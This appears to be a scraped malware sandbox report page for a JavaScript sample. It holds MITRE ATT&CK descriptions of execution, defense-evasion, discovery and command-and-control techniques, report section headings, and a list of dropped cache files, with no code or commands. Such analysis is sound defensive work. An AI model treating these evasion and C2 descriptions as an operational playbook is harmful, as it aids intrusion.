Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 283532861321088537.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2955a623-7122-4dbb-b1ac-3e7c436c2726.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6328

Windows Analysis Report
283532861321088537.js